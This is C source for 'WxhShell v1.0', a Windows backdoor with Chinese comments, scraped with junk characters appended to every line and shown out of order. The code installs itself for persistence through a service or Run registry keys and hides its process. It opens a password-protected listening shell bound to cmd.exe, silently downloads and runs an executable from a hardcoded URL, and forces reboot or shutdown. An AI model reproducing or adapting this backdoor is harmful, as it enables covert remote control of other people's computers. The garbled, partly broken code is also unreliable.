    if(Boot(SHUTDOWN)) ^\g?uH6k U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0aa&13!5  
    else { ImsyyeY]  
    closesocket(wsh); 6kHuKxY,  
    ExitThread(0); 8fA8@O}  
    } ,qwVDYJ  
    break; _rz7)%Y'#$  
    } !|~yf3  
  // 获取shell ,SH^L|I  
  case 's': { l,ic-Y1  
    CmdShell(wsh); u9j1>QU  
    closesocket(wsh); WZ N0`Od  
    ExitThread(0); e]@ B61lc  
    break; n K6(0?/  
  } /)<Xoa  
  // 退出 sI`oz|$  
  case 'x': { >0S(se$  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); G;AJBs>Y}  
    CloseIt(wsh); ?0?+~0sI  
    break; z=C<@ki`  
    } 4VP$, |a  
  // 离开 }BAe   
  case 'q': { >6gduD!6I  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); C}]143a/Q  
    closesocket(wsh); wRu\9H}  
    WSACleanup(); 9#1Jie$  
    exit(1); #&sn l  
    break; _-z;  
        } 8qwPk4  
  } ]%Lk#BA@A  
  } #Yx /ubg6  
^%NjdZuDO  
  // 提示信息 Ws:+P~8  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); FDTC?Ii O  
} '5\?l:z  
  } 7ZFd;-  
m%U$37A 1  
  return; Q1RUmIe_&  
} zO((FQ  
{ {+:Vy  
// shell模块句柄 ntn ~=oL  
int CmdShell(SOCKET sock) VLC=>w\,  
{ [ Q[ac 6f  
STARTUPINFO si; yAQ)/u[|  
ZeroMemory(&si,sizeof(si));  h 3V; J  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; }b+$S'`Bv  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; )<`/Aaie  
PROCESS_INFORMATION ProcessInfo; V3$zlzSm,  
char cmdline[]="cmd"; &:#"APX  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); m6o o-muAr  
  return 0; KSO%89R'  
} 6 - IThC  
QJ,~K&?  
// 自身启动模式 ?'U@oz8 B  
int StartFromService(void) h y"=)n(  
{ TE-(Zil\  
typedef struct lh-zE5;  
{ smPZ%P}P+c  
  DWORD ExitStatus; 8*EqG5OP  
  DWORD PebBaseAddress; scyv]5Hm!  
  DWORD AffinityMask; UQq Qim  
  DWORD BasePriority; vs{xr*Ft  
  ULONG UniqueProcessId; $u, ~183  
  ULONG InheritedFromUniqueProcessId; !-tVt D  
}   PROCESS_BASIC_INFORMATION; ,EH^3ODD  
K QCF "  
PROCNTQSIP NtQueryInformationProcess; =~'y'K]  
A>rN.XW  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; *a'I  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; i}~U/.P   
vlPViHF.  
  HANDLE             hProcess; Xbc:Vr  
  PROCESS_BASIC_INFORMATION pbi; J )UCy;Y  
"cGjHy\j`  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); p5#UH  
  if(NULL == hInst ) return 0; ese?;1r  
y|(?>\jBl  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); v\-7sgZR  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); >(F y6m  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); i.''\  
F+9(*|x%  
  if (!NtQueryInformationProcess) return 0; vgN%vw pL  
,p6o "-  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); /e7BW0$1  
  if(!hProcess) return 0; EO"G(v  
4d%QJ7y  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Q$x 3uH\@  
)@6iQ  
  CloseHandle(hProcess); *C,1 x5  
>Dq&[9,8  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); qTV.DCP  
if(hProcess==NULL) return 0; nw=:+?  
|\N))K-2D  
HMODULE hMod; afye$$X  
char procName[255]; 3e1^r_YI  
unsigned long cbNeeded; ZQ[s/  
6o~CX  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); RH "EO4  
!gj_9"<  
  CloseHandle(hProcess); &J,&>CFc  
,Ofou8C6  
if(strstr(procName,"services")) return 1; // 以服务启动 `}#n#C)  
2Jqr"|sw  
  return 0; // 注册表启动 h 2C9p2.  
} Oo x,4 &  
EB8<!c ?  
// 主模块 m,r>E%;Cj  
int StartWxhshell(LPSTR lpCmdLine) _s+_M+@et  
{ h/7_IuD  
  SOCKET wsl; W@61rT} c  
BOOL val=TRUE; N.-*ig.YR7  
  int port=0; Z"E2ZSa0  
  struct sockaddr_in door; Rzxkz  
-!X\xA/KN  
  if(wscfg.ws_autoins) Install(); kjj?X|Un  
1Wz5Iv#Ez  
port=atoi(lpCmdLine); =6[R,{|C  
]_2<uK}fg  
if(port<=0) port=wscfg.ws_port; "*N]Y^6/A  
m>+ e;5  
  WSADATA data; 'Xg9MS&  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; DhT8Kh{  
bqRO-\vO  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   $#FA/+<&$  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); /\5u-o)  
  door.sin_family = AF_INET; D "X`qF6U7  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); V0y_c^x  
  door.sin_port = htons(port); LR y&/d  
eI+p  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { L[lS >4e N  
closesocket(wsl); wZ/ b;%I!  
return 1; }c'T]h\S  
} td|O#R  
[wcp2g3Px  
  if(listen(wsl,2) == INVALID_SOCKET) { Zmy:Etqi  
closesocket(wsl); X,`e1nsR  
return 1; #A^(1  
} >C/O >g  
  Wxhshell(wsl); 8v\^,'@  
  WSACleanup(); R^Y _i  
s^GE>rf  
return 0; P;ovPyoO  
$%"~.L4  
} 77;|PKE /  
 nw  
// 以NT服务方式启动 ^Dys#^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) !}L cJ  
{ C^ Oy.s  
DWORD   status = 0; en29<#8TO  
  DWORD   specificError = 0xfffffff; ?$%2\"wX~7  
dA$qzQ  
  serviceStatus.dwServiceType     = SERVICE_WIN32; cB}6{c$_sW  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; %Sw hNn  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ]SNcL[U  
  serviceStatus.dwWin32ExitCode     = 0; w'<"5F`  
  serviceStatus.dwServiceSpecificExitCode = 0; S3?U-R^`  
  serviceStatus.dwCheckPoint       = 0; MO_;8v~0  
  serviceStatus.dwWaitHint       = 0; {@>6E8)H5  
^q/_D%]C  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); *w6(nG'M{  
  if (hServiceStatusHandle==0) return; !k8j8v&  
DQ= /Jr~  
status = GetLastError(); P]`m5 N  
  if (status!=NO_ERROR) zE]h]$oi  
{ rIJd(=  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; B#[.c$  
    serviceStatus.dwCheckPoint       = 0; $ cYKVhf  
    serviceStatus.dwWaitHint       = 0; Y$ '6p."=  
    serviceStatus.dwWin32ExitCode     = status; <xr\1VjA  
    serviceStatus.dwServiceSpecificExitCode = specificError; >npFg@A  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); cGS7s 8U  
    return; $WG<  
  }  $ 1v'CT  
_r vO#h  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; e%JH q  
  serviceStatus.dwCheckPoint       = 0; KNqs=:i  
  serviceStatus.dwWaitHint       = 0; S"Drg m.  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ]McDN[h:  
} +XL|bdK  
oPR?Ar  
// 处理NT服务事件,比如:启动、停止 | gP%8nh'C  
VOID WINAPI NTServiceHandler(DWORD fdwControl) _:VIlg U  
{ =\i{dj  
switch(fdwControl) M]A!jWtE  
{ y/!jC]!+c  
case SERVICE_CONTROL_STOP: gt Rs||  
  serviceStatus.dwWin32ExitCode = 0; v42Z&PO   
  serviceStatus.dwCurrentState = SERVICE_STOPPED; S3> <zGYk  
  serviceStatus.dwCheckPoint   = 0; @JpkG%eK  
  serviceStatus.dwWaitHint     = 0; ^THyohK  
  { d2Ox:| <)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^_JByB D  
  } 0v'!(&m  
  return; nx@ h  
case SERVICE_CONTROL_PAUSE: .X{U\{c|a  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; @;h$!w<  
  break; &HJ'//bv  
case SERVICE_CONTROL_CONTINUE: )jed@?  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; yo_;j@BGR  
  break; poVtg}n  
case SERVICE_CONTROL_INTERROGATE: & _mp!&5XV  
  break; eX <@qa4<  
}; 31~Rs?~f(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |TCg`ZS`cZ  
} {Zrf>ST  
\* SEj&9  
// 标准应用程序主函数 */A ~lR|  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Z,5B(Xj  
{ "E%3q3|"l  
qt4^e7o  
// 获取操作系统版本 :x36Z4:  
OsIsNt=GetOsVer(); g0A,VX:2  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Z'o'd_g>I+  
dn:/8~B"X  
  // 从命令行安装 0p1~!X=I  
  if(strpbrk(lpCmdLine,"iI")) Install(); T/ TMi&:?.  
pEX|zee  
  // 下载执行文件 >IE`, fe  
if(wscfg.ws_downexe) { dmk_xBy s|  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) < <]uniZ\  
  WinExec(wscfg.ws_filenam,SW_HIDE); s.XLC43Rs  
} {=<m^ 5b9  
C,nU.0  
if(!OsIsNt) { ]%Z7wF</  
// 如果时win9x,隐藏进程并且设置为注册表启动 ]6z ; M;F`  
HideProc(); wv&#lM(  
StartWxhshell(lpCmdLine); (v1~p3H  
} 'uU{.bq  
else AIw<5lW  
  if(StartFromService()) sL\W6ej  
  // 以服务方式启动 .yb=I6D;<3  
  StartServiceCtrlDispatcher(DispatchTable); G~KYFNHr  
else f/{*v4!  
  // 普通方式启动 6;#Rd|  
  StartWxhshell(lpCmdLine); Z$:iq  
*{s 3.=P.  
return 0; fE,Io3  
} >!%F$$  
&~#y-o"  
<-F[q'!C1  
Bf{c4YiF  
=========================================== OGn-~ #E  
_Sn45h@"  
WC`x^HI  
zHk7!|%Y  
%3mh'Z -[f  
ayh= @7*  
" y$U(oIU>  
10W6wIqK  
#include <stdio.h> Qs7*_=+h  
#include <string.h> /L*JHNu"_  
#include <windows.h> 0t(js_  
#include <winsock2.h> H/N4t Wk"  
#include <winsvc.h> a/dq+  
#include <urlmon.h> :FX|9h  
 7 j8Ou3  
#pragma comment (lib, "Ws2_32.lib") S0mzDLgE  
#pragma comment (lib, "urlmon.lib") Y[Eq;a132  
2C"[0*.[N  
#define MAX_USER   100 // 最大客户端连接数 Qkb=KS%z  
#define BUF_SOCK   200 // sock buffer ^b^}6L'Z  
#define KEY_BUFF   255 // 输入 buffer dBEm7.nh  
67T=ku  
#define REBOOT     0   // 重启 <Xl/U^B  
#define SHUTDOWN   1   // 关机 VQl(5\6O  
8=,-r`oNy  
#define DEF_PORT   5000 // 监听端口 I@q(P>]X9  
E8"$vl&c]  
#define REG_LEN     16   // 注册表键长度 R/Z zmb{  
#define SVC_LEN     80   // NT服务名长度 f_'8l2jK1i  
lL"ANlX-P  
// 从dll定义API V2LvE.Kj  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 2./;i>H[u  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); M*2 Nq=3  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 'mO>hD`V  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 'ZAl7k .  
(0u(<qA\  
// wxhshell配置信息 { pk]p~  
struct WSCFG { r>cN,C  
  int ws_port;         // 监听端口 ,yH\nqEz  
  char ws_passstr[REG_LEN]; // 口令 ! q5qA*  
  int ws_autoins;       // 安装标记, 1=yes 0=no OU'm0Jlk  
  char ws_regname[REG_LEN]; // 注册表键名 uS7kkzt-x  
  char ws_svcname[REG_LEN]; // 服务名 :s>x~t8g#n  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 <d~si^*\ch  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 yZkS   
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ppzQh1  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 52t6_!y+V  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ($'5xPb  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 .X34[AXd  
e-*-91D  
}; D";@)\jN  
y-N]{!  
// default Wxhshell configuration T( fcE  
struct WSCFG wscfg={DEF_PORT, vW4n>h}]  
    "xuhuanlingzhe", 4/AE;y X  
    1, ip!-~HNwJ  
    "Wxhshell", y~^-I5!_ u  
    "Wxhshell", -{A*`.[v  
            "WxhShell Service", 0t7vg#v|  
    "Wrsky Windows CmdShell Service", .FC|~Z1T<F  
    "Please Input Your Password: ", b)@rp  
  1, @7K(_Wd  
  "http://www.wrsky.com/wxhshell.exe", .zv BV_I  
  "Wxhshell.exe" IPf>9#L  
    }; OJ r~iUr  
Y&-% N  
// 消息定义模块 nM|F MK^  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; %S/?Ci  
char *msg_ws_prompt="\n\r? for help\n\r#>"; {A'_5 X9  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; xSq{pxX  
char *msg_ws_ext="\n\rExit."; ^.PCQ~Ql  
char *msg_ws_end="\n\rQuit."; *USG p<iH  
char *msg_ws_boot="\n\rReboot..."; mM.YZUX  
char *msg_ws_poff="\n\rShutdown..."; 5i+cjT2  
char *msg_ws_down="\n\rSave to "; U=PTn(2  
oL@K{dk  
char *msg_ws_err="\n\rErr!"; xJ9aFpTC  
char *msg_ws_ok="\n\rOK!"; ;Vpp1mk|  
lBGYZ--  
char ExeFile[MAX_PATH];  fj'7\[nZ  
int nUser = 0; )3k?{1:  
HANDLE handles[MAX_USER]; us+z8Mz  
int OsIsNt; K/K|[=bl  
@Gt.J*!s/  
SERVICE_STATUS       serviceStatus; k$ b)  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; e, fZ>EJ  
}$i/4?dYsQ  
// 函数声明 9}5o> iR  
int Install(void); (AZAQ xt  
int Uninstall(void); )]kxLf#  
int DownloadFile(char *sURL, SOCKET wsh); 3S" /l  
int Boot(int flag); ,B'fOJ.2  
void HideProc(void); 9{ #5~WP  
int GetOsVer(void); ]kd:p*U6P  
int Wxhshell(SOCKET wsl); N(V_P[]"*,  
void TalkWithClient(void *cs); I-#7Oq:Np  
int CmdShell(SOCKET sock); h"nhDART<  
int StartFromService(void); >wb Uxl%{5  
int StartWxhshell(LPSTR lpCmdLine); b0Dco0U(  
Jv}&8D  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Ph8@V}80"Y  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 2M=h:::W  
zl( o/n  
// 数据结构和表定义 {@6:kkd  
SERVICE_TABLE_ENTRY DispatchTable[] = sNM ]bei  
{ :$0yp`k  
{wscfg.ws_svcname, NTServiceMain}, -V-I&sO<  
{NULL, NULL} h'?v(k!  
}; sUU[QP-  
%%N T m  
// 自我安装 xkv%4H>  
int Install(void) b~r:<:;  
{ 83 <CDjD  
  char svExeFile[MAX_PATH]; IqiU  
  HKEY key; )/)[}wN;j  
  strcpy(svExeFile,ExeFile); x"!`JDsS  
7hTpjox2  
// 如果是win9x系统,修改注册表设为自启动 u`D _  
if(!OsIsNt) { ;wkMa;%`g|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #ID fJ2  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); NfnPXsad  
  RegCloseKey(key); @T:J<,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *<X1M~p$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8i5S }  
  RegCloseKey(key); ==Xy'n9'  
  return 0; Q-rG~O9-  
    } zXD/hM  
  } *ow`}Q  
} n}t 9Nf_  
else { @Pf9;7,TV  
ZZ  Hjv  
// 如果是NT以上系统,安装为系统服务 ~(8fUob  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); * V7mM?  
if (schSCManager!=0) 9!FU,4 X  
{ KJ:z\N8eo  
  SC_HANDLE schService = CreateService ;|0P\3  
  ( L_aqr?Q  
  schSCManager, 4hc[ rN,]  
  wscfg.ws_svcname, 3n)$\aBE  
  wscfg.ws_svcdisp, ~_Fx2T:X  
  SERVICE_ALL_ACCESS, ?dbSm3  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , x;<0Gg~jB  
  SERVICE_AUTO_START, 1y\bJ  
  SERVICE_ERROR_NORMAL, 7B=VH r  
  svExeFile, zjh:jrv~  
  NULL, 6 &0r/r  
  NULL, m#8(l{3|  
  NULL, kJpO0k9?eY  
  NULL, ]E$NJq|  
  NULL jXLd#6  
  ); 9cHo~F|ur  
  if (schService!=0) 2Z%n "z68  
  { Qrt\bz h/}  
  CloseServiceHandle(schService); DxwR&S{  
  CloseServiceHandle(schSCManager); A]TEs)#*7)  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); S3l^h4  
  strcat(svExeFile,wscfg.ws_svcname); ox%j_P9@:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { AH:uG#  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); >}\s-/  
  RegCloseKey(key); w%s];EE  
  return 0; [^s;Ggi9  
    } H`'a|Y  
  } EQ ee5}  
  CloseServiceHandle(schSCManager); qB (Pqv  
} 9 :Oz-b  
} 5a'`%b{{  
NLK1IH#  
return 1; Ln2FG4{  
} .|^Gde  
,dR.Sac v  
// 自我卸载 ?&;_>0P  
int Uninstall(void) ah hl  
{ "~0`4lo:Xo  
  HKEY key; '~Cn+xf4]  
)v_v 7 ~H&  
if(!OsIsNt) { |=*)a2  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9?MzIt  
  RegDeleteValue(key,wscfg.ws_regname); J@2wPKh?Yp  
  RegCloseKey(key); eG1V:%3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ; cvMNU$fN  
  RegDeleteValue(key,wscfg.ws_regname); NIVR;gm  
  RegCloseKey(key); Ht4O5yl"  
  return 0; X!K>.r_Dg  
  } \fUX_0k9,  
} z4Zm%  
} (;;ji!i  
else { ;b*qunJ3L  
L7;~4_M9.V  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); S'8+jY  
if (schSCManager!=0) +^+'.xQ  
{ 9Y'pT.Gy b  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 'fl< ac,.  
  if (schService!=0) n)"JMzjQ<  
  { -f&vH_eK  
  if(DeleteService(schService)!=0) { 'I&0$<  
  CloseServiceHandle(schService); o+&Om~W  
  CloseServiceHandle(schSCManager); O*GF/ R8B  
  return 0; .FHk1~\%z^  
  } G@#lf@M]  
  CloseServiceHandle(schService); y ;Cs#eo  
  } Ao8ua|:  
  CloseServiceHandle(schSCManager); Y4 HN1  
} (87| :{  
} ~Ym _ {  
Q;8z&4s@  
return 1; ;W|NG3_y  
} X':FFD4h  
Ajm!;LA[jO  
// 从指定url下载文件 $ mE* =  
int DownloadFile(char *sURL, SOCKET wsh) 0S$k;q  
{ dh7`eAMY   
  HRESULT hr; +4_,, I  
char seps[]= "/"; QF/_?Tm4  
char *token; Hs'~) T  
char *file; n H?6o#]N  
char myURL[MAX_PATH]; G|f9l?p  
char myFILE[MAX_PATH]; x C&IR*  
zplv.cf#q  
strcpy(myURL,sURL); Bh2l3J4X  
  token=strtok(myURL,seps); 6!"wiM"]  
  while(token!=NULL) %rG4X  
  { cyJ{AS+  
    file=token; s{Qae=$Q  
  token=strtok(NULL,seps); '~&W'='b;  
  } @6yc^DAA  
2$5">%?  
GetCurrentDirectory(MAX_PATH,myFILE); 1*u]v{JJ(  
strcat(myFILE, "\\"); r[i^tIv6As  
strcat(myFILE, file); 9=ygkPY  
  send(wsh,myFILE,strlen(myFILE),0); I?}jf?!oM  
send(wsh,"...",3,0); ;,[0bmL  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); {\D &*  
  if(hr==S_OK) I{cH$jt<  
return 0; NUYKMo1ze  
else (Of6Ij?  
return 1; ;7z6B|8  
5OI.Ka  
} !vAmjjB  
/S"jO [n9b  
// 系统电源模块 F]yB=  
int Boot(int flag) YUEyGhkMV{  
{ ESRj<p%W  
  HANDLE hToken; x^[,0?y2  
  TOKEN_PRIVILEGES tkp; :TU|:2+  
uKP4ur@1  
  if(OsIsNt) { VQHB}Y@^  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); cDY)QUmi  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); H9(?yI@Zr#  
    tkp.PrivilegeCount = 1; X6G{.Vh"  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ^qR|lA@=\  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); X?'cl]1?  
if(flag==REBOOT) { ZX:rqc  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) }4YzP 4  
  return 0; a{T.U-0   
} ^1.*NG8  
else { kP%hgZ  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) UA8hYWRP  
  return 0; 'Nl hLu  
} />S^`KSTM  
  } -j3Lgm  
  else { oN,1ig  
if(flag==REBOOT) { \~hrS/$[$  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) PK2;Ywk`  
  return 0; Jr !BDg  
} {oqbV#/&  
else { 9O3#d  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) m>vwpRBOA  
  return 0; VhkM{O  
} MT&aH~YB  
} L5FOlzn  
FYYc+6n  
return 1; v]V N'Hs?  
} k\#;  
NbU`_^oC  
// win9x进程隐藏模块 ,~d0R4)  
void HideProc(void) N@c G jpQ  
{ 5j`xSG  
/9R0}4i7  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); }d?;kt  
  if ( hKernel != NULL ) d^}p#7mB\  
  { H]/ ~ #a  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); (kLaXayn  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); w[-)c6JyE  
    FreeLibrary(hKernel); #-'`Yb w  
  } ,-e}X w9  
0A) 0Zw  
return; *<xu3){:c  
} \l:R]:w;ZI  
<==uK>pET  
// 获取操作系统版本 $yASWz  
int GetOsVer(void) U.<j2K um  
{ x 7by|G(  
  OSVERSIONINFO winfo; z{L'7  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); @JbxGi  
  GetVersionEx(&winfo); s?EQ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) MQ!4"E5"j  
  return 1; epiviCYC  
  else @njNP^'Kx  
  return 0; #%;Uh  
} ?wB_fDb}  
~b~Tq  
// 客户端句柄模块 fY00  
int Wxhshell(SOCKET wsl) Km(i}:6"  
{ zzf@U&x<  
  SOCKET wsh; PeIx41. +s  
  struct sockaddr_in client; {^dq7!  
  DWORD myID; U4!KO;Jc  
d~u=,@FK  
  while(nUser<MAX_USER) k9x[( #  
{ RTc@`m3 M  
  int nSize=sizeof(client); ev$:7}h=  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); -MTk9<qnT  
  if(wsh==INVALID_SOCKET) return 1; #"UO`2~`l  
wG,"X'1  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); EVqW(|Xg  
if(handles[nUser]==0) 5IF5R#  
  closesocket(wsh); PGP#$JC  
else iM<$ n2t  
  nUser++; inGUN??  
  } 1cK'B<5">]  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); XH?//.q  
A]|w1nq  
  return 0; lJdBUoO  
} r ]7: ?ir  
X9Ch(nWX  
// 关闭 socket V~dhTdQ5}  
void CloseIt(SOCKET wsh) [q?RJmB]  
{ 9)oi_U.  
closesocket(wsh); Ah2 {kK  
nUser--; v])ew|  
ExitThread(0); `> %QCc\  
} [on_=N{W[  
V5K/)\#  
// 客户端请求句柄 h <4`|Bg+  
void TalkWithClient(void *cs) ,'s }g,L  
{ Yg8* )u0  
-P;0<j@6k5  
  SOCKET wsh=(SOCKET)cs; # sw4)*v  
  char pwd[SVC_LEN]; @U_ CnhPQq  
  char cmd[KEY_BUFF]; C<D$Y,[w  
char chr[1]; <Z%=lwtX  
int i,j; ,\6Vb*G|E>  
ov_l)vt  
  while (nUser < MAX_USER) { nFQuoU]ux  
JVIFpN"`  
if(wscfg.ws_passstr) { C+TB>~Gv`  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [Qnf]n\FJ  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2=_$&oT**  
  //ZeroMemory(pwd,KEY_BUFF); Z5v dH5?!r  
      i=0; vxmX5.  
  while(i<SVC_LEN) { }:2##<"\t  
_qa]T'8  
  // 设置超时 INA3^p'w  
  fd_set FdRead; F^.A~{&L  
  struct timeval TimeOut; @s1T|}AJ  
  FD_ZERO(&FdRead); O>h`  
  FD_SET(wsh,&FdRead); I0+6p8,  
  TimeOut.tv_sec=8; 1Vu#:6%  
  TimeOut.tv_usec=0; NBPP?\1  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); !i"zM}  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); `6~0W5  
u#Ig!7iUu  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ooVs8T2  
  pwd=chr[0]; ^)-[g  
  if(chr[0]==0xd || chr[0]==0xa) { T`E0_ZU;  
  pwd=0; y > =Y  
  break; ;U=b 6xE  
  } G[>NP#P  
  i++; / dJz?0  
    } inaO{ny y  
Rf!v{\  
  // 如果是非法用户,关闭 socket  tKV,  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); KUJLx  
} R,BJr y  
VW\S>=O99  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); tczJk1g}  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); r-y;"h'  
m#'eDO:  
while(1) { UQu6JkbLL  
dx@dnWRT,  
  ZeroMemory(cmd,KEY_BUFF); nB`|VYmOP1  
%&6Q Uv^  
      // 自动支持客户端 telnet标准   6.)ug7aF  
  j=0; LTe ({6l0  
  while(j<KEY_BUFF) { tu}!:5xi  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); xE 8?%N U  
  cmd[j]=chr[0]; j,i9,oF6]  
  if(chr[0]==0xa || chr[0]==0xd) { >Hnm.?-AWl  
  cmd[j]=0; B $g\;$G  
  break; -FJ3;fP&  
  } GNJ /|9  
  j++; !.'D"Me>  
    } xqX3uq  
\ivxi<SR  
  // 下载文件 C][$0  
  if(strstr(cmd,"http://")) { fB+h( 2N~  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); t"4* ]S  
  if(DownloadFile(cmd,wsh)) 4  eLZ  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); IB;yL/T  
  else dy_Uh)$$|g  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !`e`4y*N  
  } zpwoK&T+  
  else { q KD  
A&M_ J  
